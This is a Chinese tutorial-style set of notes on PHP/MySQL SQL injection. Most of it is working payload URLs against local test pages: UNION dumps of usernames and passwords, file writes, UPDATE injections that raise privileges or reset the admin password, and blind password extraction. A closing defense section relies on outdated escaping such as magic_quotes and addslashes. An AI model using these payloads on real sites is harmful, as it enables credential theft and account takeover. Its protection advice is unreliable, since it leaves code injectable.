PHP的SQL注入实现(测试代码安全不错)

sql注入的重点就是构造sql语句，只有灵活的运用sql
语句才能构造出牛比的注入字符串。学完之后写了点笔记，已备随时使用。希望你在看下面内容时先了
解sql的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询：
http://127.0.0.1/injection/user.php?username=angel' and length(password)='6
http://127.0.0.1/injection/user.php?username=angel' and left(password,1)='m

union联合语句：
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件：
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

insert语句：
insert into `user` (userid, username, password, homepage, userlevel) values ('', '$username', '$password', '$homepage', '1');
构造homepage值为：http://4ngel.net', '3')#
sql语句变为：insert into `user` (userid, username, password, homepage, userlevel) values ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

update语句：我喜欢这样个东西
先理解这句sql
update user set password='md5($password)', homepage='$homepage' where id='$id'
如果此sql被修改成以下形式，就实现了注入
1：修改homepage值为
http://4ngel.net', userlevel='3
之后sql语句变为
update user set password='mypass', homepage='http://4ngel.net', userlevel='3' where id='$id'
userlevel为用户级别
2:修改password值为
mypass)' where username='admin'#
之后sql语句变为
update user set password='md5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'
3：修改id值为
' or username='admin'
之后sql语句变为
update user set password='md5($password)', homepage='$homepage' where id='' or username='admin'

===高级部分===
常用的mysql内置函数
database()
user()
system_user()
session_user()
current_user()
database()
version()
substring()
mid()
char()
load_file()
……
函数应用
update article set title=database() where id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
select * from user where username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel，十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and left(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为on
display_errors设置为off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
sql语句参数中要添加单引号
下面代码，用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章：
http://www.4ngel.net/article/36.htm (sql injection with mysql)中文
http://www.phpe.net/mysql_manual/06-4.html（mysql语句参考）